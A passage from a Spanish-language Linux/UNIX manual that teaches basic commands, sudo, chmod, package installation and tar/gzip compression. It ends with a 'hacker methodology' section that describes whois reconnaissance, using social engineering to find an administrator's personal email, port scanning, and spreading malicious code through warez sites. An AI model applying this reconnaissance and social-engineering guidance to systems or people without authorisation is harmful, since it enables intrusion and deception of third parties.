drwxr-xr-x 2 gerry gerry 328 2008-10-13 15:11 . podemos ver cuatro grupos.

$ man ls Esta estructura nos muestra el manual de uso del comando ls. más de una opción para la ejecución de un comando y se colocan todas juntas después de un solo guión: $ ps -au donde a es una opción y u es otra. De acuerdo a las normas de UNIX las opciones deberían ser una letra precedida de un guión (-).) o combinando los ya existentes dentro del UNIX con programas shell scripts. Los programas ejecutables que usaremos en este documento. si se requieren.dat comando con opciones y argumentos. como ejecutar una aplicación. La mayoría de los comandos tienen su manual de uso. La sintaxis es: comando [opciones] [argl] [arg2] [arg3] Se componen normalmente de tres partes: El comando propiamente dicho o sea su nombre. Ya mencionamos que UNIX detecta mayúsculas y minúsculas. que determinan los distintos datos que va a utilizar el comando. etc. Los comandos se introducen a continuación del prompt seguidos de la tecla <Enter>. Cada comando realiza una tarea específica. no todos se manejan en distribuciones Linux. El administrador y cada uno de los usuarios pueden crear sus propios comandos escribiéndolos en algún lenguaje de programación (C o C++. tras ser compilados. Las opciones (también llamadas parámetros o flags). y se invoca con el comando man empleando como parámetro el comando a buscar. Los argumentos. que definen diferentes modos o formas en que va a trabajar el comando. Los comandos muestran una ayuda cuando se teclean sin parámetros u opciones. argumentos y opciones La sintaxis de los comandos de UNIX está estandarizada por lo que se deben cumplir ciertas normas sencillas. como ser el nombre de un archivo o un directorio. Ejemplos: Is comando sin argumentos ni opciones ls -la comando con opciones ls *.Comandos en UNIX El sistema operativo UNIX tiene poco más de 200 comandos. por ejemplo: $ ls -Comando que lista el contenido de un directorio. Sintaxis.dat I. Se pueden poner. etc. de hecho hay comandos que sólo utilizan ya sea opciones o argumentos o incluso ninguno de ellos. Las opciones y argumentos pueden no ser necesarios. pero desafortunadamente. de tal forma que ls es diferente de LS. con más información que la que viene con la ayuda del mismo.bak comando con argumentos Is -ri *. se usan del mismo modo que los comandos de UNIX o Linux. imprimir un archivo. aunque hay algunos comandos que no respetan esta norma. 28 . Tecleando Comandos Normalmente después del prompt se introduce un comando.

Aquí nos entretendremos con ellos. nos mostrará sólo el nombre de dicho archivo si este existe. Hay que considerar que existen diversos tipos de UNIX dependiendo del frabricante. 29 . Esto nos moverá al directorio home. nos dará el nombre de nuestra máquina. mientras no se indique lo contrario. La mayoría de los comandos son comunes a Linux. Si tecleamos el comando hostname. se creará uno vacío. así. $ pwd /home/gerry Usamos el comando touch para crear un archivo vacío. ~$ cd gerry@Orianna:~$ Donde gerry es el directorio home. Orianna es el hostname o nombre de la maquina. Si el archivo indicado no existe en el sistema. Antes de comenzar a practicar con los comandos. en caso de existir. De este modo.A continuación mostramos algunos de los comandos más usados en UNIX. debemos asegurarnos que estamos en el directorio home. se modifica la fecha del último acceso al archivo. Se usa el comando cp para copiar el archivo que creamos a uno que llamaremos copyarchivo: $ cp temparchivo copyarchivo Ahora necesitamos ver ambos archivos y lo hacemos empleando el comodín "*". $ touch temparchivo Ahora usaremos el comando ls para verificar que lo hemos creado: $ ls temparchivo Cuando introducimos el comando ls sin opciones. Con el comando pwd nos informa la localización del directorio en el sistema de archivos. obtendremos un listado de todos los archivos del directorio donde nos encontremos y si lo tecleamos usando como argumento el nombre del archivo. ya que en otro directorio probablemente no tengamos permisos de escritura. tenemos: SunOS Unix y Solaris de Sun Microsystems DIGITAL Unix de Compaq SGI Irix de Sillicon Graphics Y algunos comandos podrían desempeñarse de modo un tanto diferente entre cada uno de ellos. serán tecleados en minúsculas) en la consola de comandos. No hay que confundir el nombre del comando con la abreviatura común del término password. aquel que nos asignó el sistema durante la instalación (si es Linux) o el administrador a la hora de crear la cuenta. es decir. el comando ls *archivo nos listará ambos archivos (y cualquier otro archivo del directorio cuyo nombre finalice con archivo): $ ls *archivo copyarchivo temparchivo Nótese que los archivos se listan en riguroso orden alfabético (mayúsculas y números preceden a las letras minúsculas). Una forma de hacer esto es tecleando el comando cd (recordemos que los comandos.

30 .. Tecleando exit volveremos a "ser" nuestro usuario normal. el símbolo del prompt $ cambia a # gerry@Orianna:~$ su Password: [aquí el password] root@Orianna:/home/gerry# El comando su asume que el usuario actual quiere adquirir los permisos de root. modificar la configuración del sistema. Cuando cambiamos nuestra naturaleza a root. algunas personas prefieren crear un alias del comando o un script con opciones que permitan verificar la verdadera intención del usuario antes de enviar un archivo al olvido. Por esta razón. En este ejemplo. y por tanto la persona encargada de la administración del sistema. Es muy común que si somos nosotros el "dueño" de la contraseña de root. usamos el comando mv para renombrar temparchivo a nadaarchivo: $ mv temparchivo nadaarchivo Verifiquemos ahora el cambio con el comando ls y el comodín: $ ls *archivo copyarchivo nadaarchivo Para renombrar o mover directorios se usa el mismo comando. borraremos copyarchivo: $ rm copyarchivo Advertencia: Ningún archivo borrado podrá ser recuperado a menos que exista algún respaldo. Se usa el comando rm para eliminar archivos. para después volver a "ser" nuestro usuario normal. Si proporcionamos el password adecuado ya los tendremos.Utilizamos el comando cp con la opción -r para copiar directorios y los archivos que contienen: $ cp –r directorio directorio2 Tambien podemos mover y renombrar archivos (al mismo tiempo) echando mano del comando mv. El comando cd nos permite movernos por la jerarquía del sistema de archvos: $ cd /tmp Si tecleamos sólo el comando cd. Pero podemos necesitar convertirnos en root para alguna tarea específica: reiniciar el servidor web. Para crear un directorio lo haremos con el comando mkdir seguido del nombre del nuevo directorio: $ mkdir newdir Los Comandos su y sudo El comando su (Set User) está relacionado con el login en el sistema y con los permisos. En este ejemplo.. Podemos ahora hacer las tareas de administración que necesitemos. volveremos a nuestro directorio home. trabajemos normalmente como usuario normal por motivos de seguridad. El uso principal de este comando es que un usuario normal adquiera los permisos de otro usuario del sistema (incluido root) siempre y cuando conozca su password.

por razones de seguridad. La diferencia está en que estos "permisos especiales" que estamos otorgando a algunos usuarios se aplican cuando el programa que se quiere ejecutar se invoca mediante sudo. sudo no altera la estructura de permisos del sistema de archivos de Linux. a menos que se elimine esa restricción desde el archivo de configuración sudoers que se enciuentra en el directorio /etc/sudoers. los permisos de los programas seguirán siendo los mismos. o visitar su página web. así. Es posible que no esté instalado en la distribución de Linux y tengamos que instalarlo nosotros mismos. De otro modo. lo que hace es "agrupar" de alguna manera. es decir. siempre debemos leer sus páginas del manual del sistema (man sudo y man sudoers). en los casos más simples. privilegios para ejecutar algunos comandos como root (o como otros usuarios) sin necesidad de conocer su password.sin necesidad de introducir ningún password para adquirir en un shell los permisos de cualquier usuario del sistema. mientras que con el primer comando simplemente adquirimos los permisos de usuario. Salimos de ellas también con exit. Una vez que el usuario ha sido autenticado. 31 . listas de usuarios y listas de aplicaciones (incluso listas de máquinas de una red). Notemos que el comando sudo es una herramienta que nos permite configuraciones mucho más complejas que las que hemos visto aquí. se habla del password del usuario. El archivo /etc/sudoers tiene. En este contexto. podrá hacer uso de sudo por 15 minutos. Si quien invoca el comando es root no requerirá teclear el password. dos partes: una parte de alias y otra parte de reglas.su nos permite también adquirir los permisos de otros usuarios del sistema siempre que tengamos su password: yo@maquina $ su otrousuario Password: [ Password de "otrousuario" ] otrousuario@maquina $ otrousuario@maquina $ exit yo@maquina $ Existe una diferencia entre su usuario y su .usuario y es que. por muchos cambios que hagamos en el archivo de configuración de sudo. sudo (SUperuser DO) es una herramieta que permite otorgar a un usuario o grupos de usuarios normales. no el de root. sudo requiere autenticación del usuario con un password. Esto también se aplica para root (su -) La shell que se arranca mediante la segunda forma se llama shell de login. El usuario root puede usar su o bien su . con el segundo comando es como si estuviésemos haciendo login desde el principio con usuario. así. un usuario que quiera ejectar el programa cdrdao con estos permisos especiales deberá hacerlo así: $ sudo cdrdao [opciones] Esto es lo más básico que necesitamos saber sobre sudo para ejecutar algunos comandos cómodamente como usuario normal al tiempo que mantenemos la seguridad del sistema. Hay que notar que el archivo /etc/sudoers se edita con el comando visudo siendo root. todas las variables de entorno y demás serán cargadas igual que si hubiésemos hecho un verdadero login. La parte de reglas define qué grupos de usuarios pueden usar qué grupos de programas con permisos distintos de los suyos y en qué condiciones pueden hacerlo. La parte de alias. que es el tiempo por defecto.

se puede omitir. Un modo muy común de añadir permisos de ejecución a un archivo (generalmente un script) para todos los usuarios del sistema. Cada una de las cifras posibles corresponde con los permisos del usuario en binario. rw-. por ejemplo: $ chmod +x mi_script.sh Esta forma de asignar permisos es extensible. escritura y ejecución. 110. Algunos ejemplos: El El El El 4 5 6 7 en en en en binario binario binario binario es es es es 100. de forma que el usuario dueño pueda además escribir. r-x. y el tercero los del resto de usuarios. Recordemos que los directorios que deseemos que puedan ser "examinados" deben tener permisos de "ejecución" por parte de los usuarios que uno quiera que puedan acceder a ellos. y permisos de lectura a los usuarios del grupo dueño. podríamos otorgarles esos permisos mediante el número 7. y ningún permiso al resto de usuarios para el archivo mitexto. sin tener que estar recordando qué números otorgan permisos de ejecución. En general es así: $ chmod ABC archivo Donde A es u (usuario). y cumple exactamente la misma función que en el comando chown. usamos el comando chmod. 111. Con la opción -R se puede hacer que los permisos se asignen de modo recursivo a un directorio y a todo lo que hay debajo de él. y según los casos. tanto. C es r (lectura). lectura y ejecución. aunque es más fácil aprenderse qué hace cada cifra que pasar la cifra a binario cada vez que queramos cambiar los permisos a algo. El primer número representa los permisos que estamos asignando al usuario dueño . # chmod -R ABC elemento La opción -R es opcional. A los que además quisieramos que puedan crear archivos en ese directorio.Comando chmod Para cambiar los permisos de los elementos del sistema de archivos. tanto. más sencilla que la de los números. indicando el primero añadir un cierto permiso y el segundo quitarlo. w (escritura) o bien x (ejecución. Como advertencia hay que decir que una mala asignación de permisos puede dar lugar a ataques locales. 101. por ejemplo podríamos asignarlos con el número 5. Los permisos de ejecución sólo se otorgarán a programas (binarios) o scripts. Un modo muy común para los directorios que deban ser accesibles por todo el mundo es 755. B es + o bien . sólo lectura. rwx. un comando de ejemplo podría ser: $ chmod 640 mitexto Este comando asignaría permisos de lectura y de escritura al usuario propietario.. Siempre hay que tener cuidado cuando se cambien permisos. Verdad. los los los los permisos permisos permisos permisos que que que que otorga otorga otorga otorga son son son son r--. Los directorios /home/usuario suelen tener permisos 750 para que el resto de usuarios no puedan acceder al directorio de trabajo de un usuario.) Cuando es a. Podemos ir haciendo pruebas combinando los distintos números y ver los permisos que otorgan mediante ls -l. es usar la opción +x de chmod. lectura y escritura. si dejamos a algunos usuarios permisos para modificar partes importantes del sistema de archivos es llamar a gritos a los problemas. tanto. el segundo los del grupo dueño. g (grupo) o bien a (todos. lectura. por por por por tanto. ya que hacerlo a los archivos normales carece por completo de sentido.) 32 . Así. esto es. sobre todo si somo root. A B y C son un número de una cifra respectivamente.

Los tres primeros son binarios. Esto puede ocurrir mediante el borrado accidental de archivos sin desinstalar adecuadamente un paquete. 33 . Esto no es muy común ni necesario en la mayoría de los casos. Las páginas man de los programas que se mencionan a continuación nos aportarán toda la información que necesitemos al respecto. Existen cuatro sistemas de paquetes en todas las distribuciones de Linux: RPM. existen comandos para "reconstruir" o arreglar la base de datos de paquetes. Nota: Muchos otros comandos útiles los iremos viendo conforme se lea el documento y se detallen las utilerías que vayamos necesitando. o conflictos de versiones. Además de los paquetes de nuestra distribución disponemos de unos paquetes. por lo que si el paquete de código fuente no dispone de una opción para desinstalarlo. Métodos De Instalación Al instalar software adicional para nuestra distribución. el espacio ocupado en disco suele ser muy pequeño. entre las que podemos destacar el control que adquirimos sobre la instalación del paquete y sus binarios. y el cuarto se trata de meta-paquetes Los paquetes binarios contienen el software ya en código de máquina y pondrán los programas y archivos de configuración en el sitio adecuado del árbol de directorios para que los otros paquetes puedan encontrarlos. se añade a esta base de datos una entrada diciendo que el paquete ha sido instalado y asi mismo se guarda su número de versión.Ejemplos: $ chmod g+w archivo $ chmod -r archivo $ chmod u+x archivo El primer comando otorga permisos de escritura sobre archivo a los usuarios del grupo al que el archivo pertenece. Además. Regularmente el software lo descargamos empaquetado en archivos llamados tarball. Estos archivos lo veremos más adelante en este capítulo.. Por lo general no es muy difícil. etc. instalar software de este modo no implica que se guarde información en una base de datos de lo que se ha añadido al sistema.. Estos paquetes tienen sus ventajas. TGZ y EBUILD. El tercer comando da al usuario dueño de archivo permisos de ejecución. la versión de estos. tendremos que borrar los archivos a mano uno a uno en caso de querer quitar el software. incluso si la información de la base de datos de paquetes no es del todo coherente. tal como un RPM o un DEB. Instalación de utilerías Cuando tengamos que instalar herramientas en nuestro sistema. Conforme tratemos con estos sistemas de paquetes podrá ocurrir que los datos de la base de datos de paquetes no coincidan con lo que realmente hay en la máquina. nos podemos encontrar con varios sistemas de paquetes. además de crearse los archivos necesarios para que el software pueda funcionar. Estos paquetes contienen el código fuente preparado para compilarse e instalarse en cualquier distribución. porque aunque instalemos un software. Instalar software adicional en Linux es sencillo. mientras no lo estemos ejecutando "no nos molesta". sin embargo. cuando instalamos un paquete binario. Los sistemas de paquetes binarios se apoyan en una "base de datos" que guarda qué paquetes están instalados y cuáles no. Así. En cualquier caso disponemos de opciones que permiten instalar o desinstalar paquetes. dada la diversidad de distribuciones y sistemas de empaquetado del software las utilidades que manejan dichos paquetes son distintas. El segundo comando elimina los permisos de lectura sobre archivo a todo el mundo. además de la posibilidad de hacer algunos cambios en el mismo si nos interesa (con parches). DEB. utilizamos una serie de comandos para poder empezar a utilizar los programas.

tar. lo más sencillo es quitar estos paquetes primero y después desinstalar el que queremos quitar. Fuentes En caso de que vayamos a compilar un programa por nuestra cuenta lo mejor es leer los archivos de ayuda README e INSTALL del paquete. Nota Para más información acerca de qué es un archivo . Fuentes Como se ha nombrado antes.tar. En principio siempre deberemos optar por los binarios de nuestra distribución a no ser que sepamos realmente lo que hacemos. Este tipo de aplicaciones puede sernos útil en nuestras primeras etapas con Linux si necesitamos instalar un paquete y no tenemos tiempo de mirar las opciones. Compilar un programa desde las fuentes puede sernos útil en máquinas donde se necesite un rendimiento extremo o en casos en que necesitemos aplicar parches al paquete. Para poder usar estas aplicaciones se nos pedirá la contraseña de root. hay que decidir qué método vamos a utilizar. Desinstalando Lo Instalado Pondremos el comando genérico que hay que ejecutar si queremos desinstalar un paquete que ya esté instalado.bz2 haremos: # tar jxf paquete-version. En el directorio donde se descomprimieron las fuentes ejecutamos: # make uninstall Utilidades Gráficas En el caso de las distribuciones que usan paquetes binarios. podemos muchas veces encontrar una utilidad gráfica para instalar y desinstalar paquetes en los menús de nuestros escritorios.gz. este tipo de aplicaciones simplemente serán un recurso de uso espontáneo. en ese caso. .Binarios Vs./configure # make # make install Pero como las cosas pueden cambiar entre unos paquetes y otros. Si queremos aprender a usar Linux. 34 . Algunas distribuciones permiten el uso del comando # apt-get del que se puede buscar tutoriales en Internet.bz2 y cómo trabajar con ellos. se explican detalladamente en el apartado empaquetado y compresores.tar. A veces se nos avisará que otros paquetes dependen del paquete que queremos quitar.tar. Para descomprimirlo haremos (suponiendo que el archivo de fuentes tarball se ha descargado en el directorio actual): # tar zxf paquete-version.bz2 Los pasos "genéricos" son: # . Lo mejor es familiarizarse con las utilidades comentadas. lo mejor que podemos hacer es leernos los archivos de documentación que acompañen a dicho programa.gz Si el paquete es un .tar.

Hasta aquí todo bien. se nos diga que no puede encontrar tal o cuál librería. cuando instalemos nuevas librerías (especialmente desde código fuente). por ejemplo: # cat /etc/ld. Esto quiere decir que instalemos el paquete de software que instalemos. Los sistemas de paquetes binarios de las distribuciones (RPM y DEB) hacen una distinción con las librerías. es una buena costumbre añadir el directorio donde se han copiado las librerías a este archivo de configuración (si no está ahí). y es necesario instalarlo si. lo dividen en dos paquetes. Todos los archivos de librerías que se instalan en el sistema comienzan su nombre por lib debido a un antiguo convenio UNIX. y por eso los usuarios no privilegiados no pueden dañar la máquina.) Su nombre suele ser libNOMBRE. Librerías Las librerías son partes de código usados por muchos programas diferentes. Podríamos decir que un mismo conjunto de librerías. se conoce como archivos de desarrollo (development)./configure --help descurbriremos opciones que nos permiten especificar también dónde queremos que se instalen tanto los programas como las librerías. La única solución a este problema es instalar siempre software de sitios oficiales o confiables.so. por ejemplo. Dado lo anterior. Por lo tanto. Por esto. no se nos impondrá ninguna restricción. Si no lo hacemos así./configure para instalar desde las fuentes se nos avise de que nos falta libncurses si solamente tenemos el primer paquete instalado. Ldconfig y Más Sobre Librerías Las librerías compiladas (ya en código de máquina).so es simplemente un convenio y es abreviatura de Shared Object (Objeto Compartido) En los sistemas Linux. libncurses y libncurses-devel (o libncurses-dev para Debian.conf.conf /usr/kerberos/lib /usr/X11R6/lib /usr/lib/qt-3. muchas veces algunos paquetes requerirán otros paquetes del tipo lib*. El único problema está en que algún paquete de software que queramos instalar puede contener virus o spywares. están en /usr/lib si se instalaron desde paquetes de la distribución.) Para instalar software mediante paquetes que necesiten esta librería. es perfectamente posible que haciendo un . /etc/ld. y correr como root el comando ldconfig. o un subdirectorio de estos dos. 35 .1/lib /usr/lib/mysql /usr/lib/kde3 /usr/local/lib /usr/lib/wine /usr/lib Aunque muchas veces la instalación lo hará por nosotros.VERSION. Esta utilidad tiene un archivo de configuración.so. por ejemplo. y en /usr/local/lib si se instalaron desde fuentes. La extensión .so. (aunque con el comando .so. no es posible que un usuario normal pueda instalar un virus en nuestra máquina.Consideraciones Sobre Seguridad Venimos aprendiendo que Linux es un sistema seguro dado que es multiusuario. es posible que al intentar instalar otros programas desde fuentes. El segundo paquete (-dev en DEBs o -devel en RPMs). o bien libNOMBRE. la utilidad encargada de manejar la instalación de las librerías y proveer al resto de programas información sobre su localización en el sistema de archivos es ldconfig. donde se listan los directorios que contienen librerías. bastaría con instalar generalmente sólo el primer paquete. pero hay que darse cuenta de que para instalar software en la máquina debemos ser root. vamos a compilar desde el código fuente un paquete que necesite libncurses.

actualmente tar está muy integrado con ambos algoritmos de compresión y nos evita tener que utilizar comandos algo más complicados para comprimir y descomprimir archivos Los comandos que usaremos en esta sección son: tar. Como podemos ver son nombres muy intuitivos.gz Esto habrá dejado un archivo llamado passwd. para enviarlos por correo electrónico. Aunque la explicación no es muy rigurosa. Con la ayuda de tar podemos convertir todo un directorio en un solo archivo y una vez que tenemos ese archivo generado.Empaquetado y Compresores Antes de empezar con listados de utilidades.gz $ diff /etc/passwd passwd $ Es muy importante notar que el comando gunzip passwd. binarios. nos vale para entender el porqué de la existencia del tar hoy en día.gz ha borrado del directorio el archivo passwd. Ya tenemos todo listo para empezar a comprimir y descomprimir archivos y directorios. por ejemplo. tar Históricamente. Ambos son muy eficientes y nadie puede decir que uno sea mejor que otro. gzip y bzip2. es decir. No pueden tomar como entrada un directorio o varios archivos a la vez.gz. 36 . archivos y nuevos comandos que pueden asustar a cualquier principiante durante el desarrollo de este documento. gunzip. empaquetar o comprimir para llevarlos a una unidad de respaldo (backup). Supongamos que tenemos ciertos datos que queremos guardar. Lo primero que haremos será elegir un archivo a comprimir. Los algoritmos de compresión que hemos citado antes (bzip2 y gzip) solo son capaces de operar sobre un archivo. rutas. estos son gzip y bzip2. toman un archivo de entrada y generan un archivo comprimido. En principio tar no provee compresión alguna ya que lo "único" que hace es poner un archivo a continuación del anterior poniendo en medio unos separadores. Además.gz en el directorio donde ejecutamos el comando. sin embargo consume definitivamente más recursos que gzip para comprimir/descomprimir el mismo archivo. Comprimir y Descomprimir Un Solo Archivo Para comprimir el archivo que hemos escogido con gzip haremos: $ gzip -c /etc/passwd > passwd. pero a nivel de usuario lo que podemos decir es que bzip2 comprime más. en el universo de Unix se ha usado mucho la utilidad tar para enviar backups a dispositivos de cinta. tar se encarga de unir un conjunto de archivos en uno solo. para adjuntarlos a un trabajo o simplemente para tener una copia de seguridad de algo sobre lo que vamos a trabajar. gzip y bzip2 En el mundo UNIX predominan dos algoritmos de compresión de datos distintos. Por eso es importante tar. Presentan grandes diferencias internas. aplicarle uno de los algoritmos de compresión. Ahora podemos probar a descomprimirlo y a comprobar si todo fue bien $ gunzip passwd. eso sí. /etc/passwd. Utilidades para la línea de comandos Cualquier distribución moderna de Linux incluirá tanto el comando tar como los paquetes con las librerías y las herramientas para comprimir y descomprimir archivos gzip y bzip2. vamos a presentar de una forma general los archivos en que vienen empaquetados o comprimidos las herramientas.

tar. tambien vamos a mostrar cómo bzip2 comprime normalmente más que gzip a costa de usar más recursos y tiempo.tar directorio/ Obtendremos en el directorio un archivo directorio.tar que contiene todo el arbol de directorios que hubiera colgando de directorio/.tar.Para hacer algo parecido con bzip2. Para desempaquetar el archivo directorio. Para crear un único archivo a partir de un directorio podemos hacer lo siguiente: $ tar cf directorio. Como prueba utilizaremos el directorio que contiene el código fuente de este manual ya que así.1 Jummy Jummy manual-cvs. Lo mismo podríamos haber hecho utilizando el comando bzip2 en lugar de gzip si queríamos utilizar el algoritmo bzip2.tar.tar.bz2 manual Nótese que se usa 'z' para gzip y 'j' para bzip2 Para ver la diferencia de tamaños podemos usar ls -l $ ls -l manual-cvs.tar. el lector podrá repetir estos comandos y obtendrá resultados muy similares. actualmente tar está muy integrado tanto con gzip como con bzip y podemos comprimir y descomprimir directorios enteros con solo un comando.tar Y tendremos un archivo llamado directorio.bz2 $ bzip2 passwd. Si queremos comprimir este archivo lo podemos hacer como hemos visto antes: $ gzip directorio.bz2 $ diff /etc/passwd passwd $ Comprimir y Descomprimir Directorios Completos Como ya hemos comentado antes. si no que su entrada será un único archivo sobre el que se aplicará la compresión.1 Jummy Jummy manual-cvs.tar lo podemos hacer con el siguiente comando: $ tar xf directorio. ninguno de los dos algoritmos de compresión que veremos soporta trabajar sobre varios archivos a la vez. Además de enseñar cómo comprimir de forma simple. Para comprimir un directorio con tar lo hacemos así: $ tar zcf manual-cvs.gz 331236 sep 18 03:11 477033 sep 18 03:13 37 .bz2 -rw-r--r-. Si queremos comprimir directorios enteros lo que tenemos que hacer es utilizar tar para crear un solo archivo a partir de varios a base de concatenarlos.tar Todo Junto Como ya hemos comentado antes.gz que contendrá todo el arbol de directorios que originalmente colgaba de directorio/.* -rw-r--r-.gz manual $ tar jcf manual-cvs. podemos hacerlo así: $ bzip2 -c /etc/passwd > passwd.tar.

tar.xml Descomprimiendo Otros Formatos Es muy típico querer comprimir/descomprimir otros formatos que son muy utilizados en el mundo Windows como los zip o los rar. Y existe una utilidad para los archivos ace. quizá el lector pudo notar que la operación con bzip2 tardó más tiempo en completarse.zip $ unrar archivo. No tenemos acceso al código fuente.tar. sin embargo. pero las utilidades que lo hacen no son libres.bz2 Se usa 'z' para gzip y 'j' para bzip2 Si solo queremos extraer un archivo o directorio del archivo comprimido lo podemos hacer indicando el nombre justo al final del comando. el archivo comprimido con bzip2 ocupa bastante menos que el mismo comprimido con gzip. Para descomprimir un archivo zip vamos a utilizar el comando unzip y para descomprimir los archivos rar utilizaremos el unrar.Como podemos ver.com $ unzip archivo. pero son gratuitas para uso personal. por lo que deberíamos evitar utilizar estos formatos para comprimir nuestros archivos.xml manual. el unace y hay que descargarlo de su página oficial www.bz2 manual.xml $ ls manual. estas utilidades no son libres.rar Como ya hemos mencionado antes. por ejemplo: $ tar jxf manual-cvs. Por último veremos cómo descomprimir los archivos que tenemos: $ tar zxf manual-cvs. Lo primero que hay que decir es que Linux SI puede descomprimir estos formatos.tar. Instalar Linux es de lo más fácil y nos ayudará a comprender mucho mejor como se gestionan los archivos del sistema y facilitará el entendimiento de los procesos llevados a cabo por las herramientas que vamos a manejar durante todo este documento.winace. 38 .gz $ tar jxf manual-cvs. Espero que con este capítulo se anime el lector a aprender más sobre UNIX y Linux.

es un buen punto por donde arrancar. Además. correos. FTP utiliza el enfoque cliente-servidor. La base de datos NIC (Network Information Center). Todas las actividades que se describirán a continuación tienen como finalidad principal efectuar comprobaciones del nivel de seguridad de nuestros propios servidores y no deben nunca ser usadas sin consentimiento contra otras computadoras que no nos pertenezcan. Los datos son públicos y pueden ser consultados por cualquier persona. Puede consistir en enviar un virus. Buscar errores en servidores requiere la aportación de una gran cantidad de esfuerzo y efectuar una serie de pruebas. un troyano. . con no muy buenas intenciones lo hagan. Se deben enfocar todos los sentidos en un punto en específico e intentar buscar los huecos de seguridad que pudieran existir. Esta dirección está ahí para gestionar la compra de dominios. carece de sentido andar por ahí husmeando y aprovechándose de las vulnerabilidades de los sistemas ajenos.com. Hay quienes gustan de navegar por la gran red en busca de servidores que tengan una seguridad mínima y que pueda ser penetrada fácilmente. un orden y una metodología de trabajo. números de teléfono. un rootkit. Existen algunos servidores FTP que se configuraron para permitir a los usuarios subir archivos. Protocolo de Transferencia de Archivos) es el servicio de Internet utilizado para transferir un archivo de datos desde el disco de una computadora hacia el disco de otra. antes de que otros. .. La mejor técnica es el marcarse una meta y alcanzarla cumpliendo con una serie de objetivos. Aunque ésta técnica es muy usada. donde se almacenan los datos de las personas o empresas que han comprado un dominio de tipo .Metodología del Hacker Todo experto en informática está al tanto de que existen dos formas de romper la seguridad de una computadora.Búsqueda de Información Una cautelosa búsqueda de sistemas y recopilación de información es el primer paso antes de ponerse a experimentar. Un uso muy común de FTP es recuperar información y obtener software almacenados en sites de todo el mundo. FTP (File Transfer Protocol. no solo a quien tenga una cuenta en el host. Los servidores FTP que permiten “anonymous FTP” (FTP anónimo). 9 Warez Esta palabra se aplica en dos sentidos: uno como la copias piratas de los programas. pero no conocemos los métodos para conseguirla. direcciones físicas. un servidor FTP o una clave de correo. pero referida a los dominios en Internet. se necesita un proceso de preparación.mx. Una de ellas no tiene víctima predefinida o preestablecida. en realidad no es muy adecuada como cualquier hacker élite sabe. Es plural en jerga de ware (Mercancías). Esto nos dará una idea del alcance y la complejidad del trabajo que va a ser realizado y ayuda a identificar los puntos débiles por los que hay que empezar a realizar las pruebas. Una web. 39 . Su puerto correspondiente es el 21. Muchas veces podemos tener acceso a información pública sobre una empresa cualquiera. También se puede montar un servidor web pornográfico o de warez9 que descargue código malicioso a la máquina de cualquier ingenuo desprotegido. De manera similar a otras aplicaciones de Internet. Hasta se puede generar un reporte donde se detallen las vulnerabilidades. Requiere de unos pasos definidos que ya se han convertido en un estándar a la hora de poner a prueba la intrusión a un sistema. Con esta base de datos NIC podremos encontrar nombre de los responsables. etc. el otro alude a las versiones de software  protegido a las que se ha retirado fraudulentamente la protección. Es análogo a la Sección Amarilla de la guía telefónica.net. o lo que es peor. sin importar el tipo de sistema operativo. tanto técnicos como administrativos. Debe comprobarse qué máquinas componen el sistema y qué rango de direcciones IP ocupan. Existe una metodología a seguir para lograr los objetivos planteados previamente. Para desarrollar cualquier tarea complicada. dejan a cualquier usuario. Saltarse estos pasos puede traducirse en pérdida de datos esenciales. navegar por los archivos “ftp” y poder descargar datos. 1.

En este paso se descubre qué programa hace uso de cada puerto. la dirección. etc.net. donde la información proporcionada viene a ser la misma. O. Esto no es raro y resulta incluso frecuente. Introducimos su email en el navegador y nos lleva a varias páginas más o menos interesantes. teléfono. Este paso resulta imprescindible y de gran importancia. Esto último resulta especialmente atractivo para el hacker. es que hay que hacerlo de manera anónima. correo electrónico. Aquí se puede consultar su correo electrónico. que permite a los usuarios hacer  búsquedas en una base de datos sobre personas y otras entidades. mediante un ataque de ingeniería social averiguamos su dirección personal de hotmail o cualquier otro servidor de correo web.Escaneo de Puertos Nos centraremos en el aspecto práctico en el capítulo sobre escaneadores de puertos (página 91). 3. direccionador. tales como dominios. enrutador) es un dispositivo que distribuye tráfico entre redes. poco utilizado tras la aparición del WWW y de los motores de búsqueda. podemos echar mano del servicio whois10 de nic. 40 .. la información viene dividida en cuatro secciones: Empresa: Lo más relevante resulta la dirección física de la empresa. más servicios ofrece y más posibilidades de que alguno sea vulnerable. Lo que a muchos se les pasa. etc. que fueron al inicio  mantenidos en DDN NIC. en casos así o parecidos.es averiguamos el email del administrador o el responsible técnico de la empresa. En una de ellas llegamos a descubrir que hace tan solo unos meses. Gracias a distintas técnicas sabremos los puertos que el servidor mantiene abiertos ofreciendo servicios a través de ellos. el contacto técnico y los servidores de nombres. teléfono. Para empresas internacionales cuyo dominio termine en . 2. además. Muchos administradores de sistemas se enfrentan casi a diario con nuevo software y tienen que pedir ayuda a especialistas en internet en busca de consejo y compartir experiencias propias. Esta es una de las maneras más limpias y libre de molestias con las que los hackers encuentran información sin tener que sumergirse en manuales o hacer pruebas en decenas de programas. La decisión sobre a donde enviar los datos se realiza en base a información de nivel de red y tablas de direccionamiento. teléfono y fax.com o . redes y sistemas centrales.. nombre.com/nic_info/whois. Cuantos más puertos se encuentren abiertos. Al consultar un dominio.Identificación de Servicios La función de un puerto es tener enlazado un servicio o programa que escuche en él y por el que se realicen las conexiones necesarias. ya tenemos la certeza de que el router es o ha sido vulnerable y que puede existir realmente una forma de atacar. Contacto de facturación: Igualmente se consultan correo electrónico. nombre. y en esto entra la ignorancia. etc. estampó su dirección real en una lista de correo especializada sobre herramientas pidiendo asesoría y presupuestos sobre actualizaciones de routers. 10Quién es. anotando en conciencia su versión. Contacto administrativo: Nombre.com (http://www. Programa Internet. La información sobre personas muestra el nombre.Con este tipo de consultas se pueden evitar estafas como las de Banamexnet. Contacto técnico: Este dato también se presenta interesante en caso de ser necesario avisar sobre algún error de seguridad en su página. haciendo una comprobación para saber si un dominio sospechoso pertenece realmente a la entidad que parece representar. Serán muchas las ocasiones en que el buen uso de un buscador nos puede ahorrar mucho tiempo de investigación. numero de teléfono y dirección electrónica. Imaginémonos que a partir de nic. mejor aún.nic.htm). Un router (encaminador. Hay que advertir: Un escaneo de puertos indiscriminado hacia una máquina que no nos pertenezca constituye un delito.

